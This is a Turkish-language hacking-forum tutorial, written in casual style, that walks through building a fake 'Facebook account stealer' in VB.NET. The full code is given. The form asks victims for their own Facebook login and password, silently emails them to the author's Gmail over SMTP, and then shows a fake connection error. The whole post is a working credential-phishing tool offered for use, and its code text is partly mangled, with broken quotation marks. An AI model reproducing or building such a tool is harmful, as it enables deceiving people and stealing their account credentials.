Hack Ve Bilgisayara Dair Herşey

Fake Facebook Yapım

Fake Face Calma Programı Yapımını anlatacagım.Programımızın Amacı:TextBox1ve TextBox 2 ye Yazılanlar Sizin Gmail Adresinize Gelirler Yanı Basit bır Keylogger Yapmıs Oluyoruz.Gmail Adresinizin olması Sarttır.Eksigim Varsa Soylerseniz Sevinirim.Visual Studio 2010 da Yenı Projemizi Olusturalım.3 Label Ekleyelim: 1.label=Face Adresinizi Yazın2.label=Sifrenizi Yazın3.label=Kurban'ın Facebook Adresi3 TextBox Ekleyelim:1.TextBox=Face Adresi Yazılan Yer2.TextBox=Sifre Yazılan Yer(PaswordChar Yazan Yere -*"koyun)3.TextBox=Kurban'ın Facesi Yazılacak Yer2 Button Ekleyelim:1.Button=Text Kısmına "Sifreyi Bana Gönder"Yazın2.Button=Cıkıs Butonumuz Olsun.Gelelim Kodlara Bunları Yaptıktan Sonra Kod Bolumunu Tamamen Silin Ve Kodları Yapıstırın.Imports System.Net.MailPublic Class Form1Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.LoadMsgBox("Program Eagle Tarafından Yapılmıstır.-)End SubPrivate Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.ClickTimer1.Start()If TextBox1.Text = -- ThenMsgBox("Kullanıcı Adı Yanlış-)If TextBox2.Text = -- ThenMsgBox(-Şifre Yanlış-)ElseEnd IfEnd IfDim smtpServer As New SmtpClient()Dim mail As New MailMessage()smtpServer.Credentials = New Net.NetworkCredential("gmailadresin", "sifren")'using gmailsmtpServer.Port = 587smtpServer.Host = "smtp.gmail.com"smtpServer.EnableSsl = Truemail = New MailMessage()mail.From = New MailAddress("gmailadresin")mail.To.Add("gmailadresin")mail.Subject = "Sifre : - & TextBox2.Textmail.Body = "Kullanıcı Adı : - & TextBox1.Text & -,-smtpServer.Send(mail)MsgBox("Servere Bağlanılamadı Lütfen Tekrar Deneyin.Facebook Adresinizin Dogrulugunu Kontrol Edin.-)End SubPrivate Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.ClickMe.Close()End SubPrivate Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChangedEnd SubEnd ClassIsıne Yarayan Arkadaslar Bir Tsk Ederseniz Ne Mutlu Bana.